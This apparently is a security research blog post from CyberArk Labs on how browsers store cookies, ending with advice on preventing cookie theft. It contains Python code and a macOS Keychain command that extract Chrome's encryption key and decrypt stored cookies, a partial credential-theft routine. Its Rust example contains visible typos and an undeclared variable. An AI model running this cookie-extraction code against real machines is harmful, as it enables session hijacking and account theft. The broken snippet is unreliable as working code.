The Current State of Browser Cookies

July 8, 2024 Alon Zahavi

thief running with cookies

What Are Cookies

When you hear “cookies,” you may initially think of the delicious chocolate chip ones. However, web cookies function quite differently than their crumbly-baked counterparts. Website cookies are small data chunks, usually saved in a database, that websites transfer onto your computer or mobile device to save data and information about you. They enable sites to identify users and remember helpful information to enhance their experience.

Have you ever put items in an online shopping cart, and even if you left the site, those items stayed put when you returned? Thank cookies. Other everyday conveniences include not having to re-log into sites and retaining custom settings.

Cookies can also be used to save information about sites you visited, thus giving advertising companies more data to advertise the products that fit your lifestyle. Another implementation of cookies is session keeping. Do you know the “Remember Me” checkbox? When you check it, the website knows to save cookies on your computer that will later indicate who you are and will let you browse the site without the need to log into your account again unless the cookies expired.

But Who Uses Cookies?

Well, almost every other website uses cookies. According to W3Techs, as of June 24, 2024, 41.3% of all websites use cookies with some of the most prominent providers included in that list, such as Google, Facebook, Microsoft and Apple.

Cookie Storage

Cookies are used to save sensitive information about users, and some cookies are being used to save the user’s identity by saving the session, so they won’t need to log in again. Thus, it is surprising to learn how easily users’ identities and sensitive information can be stolen from users due to how cookies are being stored on the machine. This section will explore how two of the most used browsers store cookies.

How Mozilla Firefox Stores Cookies

Let’s start with how Firefox stores cookies.

As written above, cookies are small chunks of data, and data can be saved in databases. So, with that thought in mind, Mozilla, the company that makes Firefox, decided to keep the cookies in an SQLite database.

The database file is saved in %APPDATA%\\Mozilla\\Firefox\\Profiles\\\\cookies.sqlite where the cookie value is held in a clear-text form (figure 1).

blured cookies

Figure 1 – The cookies.sqlite file, with clear-text cookies, displayed in SQLiteStudio

Firefox also has the option to delete cookies when the browser is closed, making it harder for attackers to steal data.

How Safari Stores Cookies

Unlike Firefox, Safari stores cookies in a single binary file with its file format .binarycookies. The cookies file (or sometimes files) can be located in ~/Library/Cookies/*.binarycookies and ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/*.binarycookies.

When trying to read this file, you’ll see that it is not as easy as opening it using DB viewer, and it should be decoded to make it human-readable.

binary cookie blur

Figure 2 – Cookies.binarycookies in a hex viewer.

To read the cookies from the file, we will use the rust crate binarycookies , designed to decode Safari’s .binarycookies files.

use binary_cookies::BinaryCookiesReader;

fn main() {
    let target = String::from("/Users/user/Library/Containers/com.apple.Safari/Data/Library/Cookies/*.binarycookies");
    let mut dec = BinaryCookiesReader::new(&target).unwrap();
    let _ = d.deocde().unwrap();
    for pages in d.origin_pages() {
        for cookie in pages.cookies() {
            println!("{} | {} | {} | {}", cookie.domian_str(), cookie.name_str(), cookie.value_str(), cookie.http_only);
        }
    }
}

Code Block 1 – Rust code for decoding .binarycookies file

We can read the cookie values after running this code and outputting it to a file. As you can see, like in the Firefox case, Safari stores its cookies in plain text.

cookies blurred

Figure 3 – Cookies.binarycookies decoded and viewed in TextEditor.

How Chrome Stores Cookies

This section refers to Google Chrome but is true for all Chromium-based browsers, including Chrome and Microsoft Edge.

Chromium-based browsers take a similar approach, yet a bit different, to Firefox regarding cookie storage. When using Chrome or any other Chromium-based browser, the cookies are saved in an SQLite database, similar to Firefox. The database (for the Default profile) is saved in the user’s %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Network\\Cookies. However, contrary to Firefox, Chrome encrypts the cookies’ values to give some protection against cookie theft.

blur chrome database

Figure 4 – The Cookies file, with encrypted cookies, displayed in SQLiteStudio.

Decrypting Chrome Cookies

This cookie theft protection in Chromium-based browsers has been implemented since the release of Chromium version 80. The cookies stored in the “cookies” SQL database when using Windows are encrypted using AES256-GCM (as can be seen in the source code), a symmetric encryption algorithm. Thus, given the encryption key, one can decrypt the data and retrieve the original form of the secret, which, in our case, is the cookie.

Luckily for us, the encryption key is stored in another file Chrome saves on the disk, called Local State, and located in %LOCALAPPDATA%\\Google\\Chrome\\User Data. To obtain the encryption key, we need to parse this file and extract a base64 string, which is the encryption key, encrypted using DPAPI. This base64-encoded form of the encrypted key is saved in a JSON file under the name encrypted_key.

json encryption

Figure 5 – The encrypted encrytion key is saved in the `Local State` file.

After retrieving the encrypted_key base64 string, we need to decode and decrypt it using the Windows DPAPI decrypt function (on the attacked host machine).

 def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

    # remove 'DPAPI' str
    key = key[5:]
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 

Code Block 2 – Getting encryption key on Windows

All that needs to be done now is to use the key to decrypt the cookies.

 def decrypt_data(data, key):
    try:
        # get the initialization vector
        iv = data[3:15]
        print(byte_to_hex_str(iv))
        data = data[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(data)[:-16].decode()
    except:
        try:
            print("win32Crypt")
            return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
        except:
            # not supported
            return ""

Code Block 3 – Decrypting the cookies values

Note: We do not show the whole code of the cookie decryptor. To obtain the cookies’ encrypted data, one must connect the cookies DB and read from it.

Chrome Cookies in macOS

After successfully decrypting the cookies on a Windows machine, thanks to how DPAPI works, let’s try doing the same on macOS.

The first thing to look for, of course, is the Cookies SQLite database file, which is located in ~/Library/Application Support/Google/Chrome/Default/Cookies. Matching Chrome for Windows, the cookies’ values are encrypted. However, the encryption method here is AES-CBC with a 128-bit key (as can be seen in the source code). Also, the encryption key is saved in Apple’s Keychain by the name Chrome Safe Storage. To get the key, we can use the following Python code:

 def get_encryption_key():
    cmd = ['security', 'find-generic-password', '-w', '-a', 'Chrome', '-s', 'Chrome Safe Storage']
    return Popen(cmd, stdout=PIPE).stdout.read().strip()

Code Block 4 – Getting Chrome Safe Storage encryption key on macOS from Keychain

The fact that the encryption key is saved in Keychain and not in a JSON file makes it much harder for attackers to decrypt cookies and passwords saved by Chrome. That is because when trying to access the encryption key, macOS will prompt an authentication window, waiting for the user’s password, and if the attacker does not know the password, they won’t be able to read it. An important note is that on older versions of macOS (and OSX), access to the Chrome encryption key does not require the user’s password, and the mitigation is part of Apple’s efforts to secure Keychain.

keychain confirmation

Figure 6 – macOS Keychain Access confirmation window.

chrome-cookies

Figure 7 – The Cookies file, with encrypted cookies, displayed in SQLiteStudio.

If an attacker successfully accesses the Chrome Safe Storage key, all that is left to do is decrypt the cookies. It could be done, again, using a straightforward Python code:

 
def decrypt_cookie(encrypted_cookie, encryption_key):
    salt = b'saltysalt'
    iv = b' ' * 16
    length = 16
    iterations = 1003

    key = PBKDF2(encryption_key, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)

    decrypted_value = cipher.decrypt(encrypted_cookie)
    decrypted_value.strip().decode('utf8')
    
    return decrypted_value 

Code Block 5 – Decrypting Chrome for macOS cookies.

After using this script, we can view the cookies in plain text. However, remember that this was only possible if the attacker could type the Keychain access password to bypass the restrictions.

decrypted-cookies

Figure 8 – The decrypted Chrome cookies.

How to Use Stolen Cookies

Attackers can use cookies in many different ways, including stealing private information about users saved by some advertisement-related and tracking-related cookies or even overtaking active sessions of other users. In the demo below, we show how attackers can overtake an active session of a Google account using cookie hijacking.

 

What You Can Do to Prevent Cookie Theft

Some readers are probably trying to understand how to defend against the cookie theft threat. In case you are one of those readers, here are a few suggestions:

  • Log out of a session whenever you close the browser. This will invalidate the cookies responsible for “remembering” your identity.
  • Stop using cookies on high-risk websites, such as those that collect personal information; go to your browser’s settings and disable cookies for those websites.
  • Use a third-party application to defend the files in which cookies are stored. In case your machine is infected by malware, this third-party defense mechanism will protect against cookie theft.

Safeguarding your Cookie Data

Although cookies are being used to save sensitive data, they are still stored in a way that enables attackers to leak them easily and use them for malicious purposes.

It is important for users to be alert to this topic and regularly clear their cookie data in the browser so attackers won’t be able to steal their identities. This can also apply to businesses where employees use services that store the company’s sensitive data in cookies.

Alon Zahavi is a CyberArk Labs Vulnerability Researcher.

Previous Article
How to Bypass Golang SSL Verification
How to Bypass Golang SSL Verification

Golang applications that use HTTPS requests have a built-in SSL verification feature enabled by default. In...

Next Article
You Can’t Always Win Racing the (Key)cloak
You Can’t Always Win Racing the (Key)cloak

Web Race Conditions – Success and Failure – a Keycloak Case Study In today’s connected world, many organiza...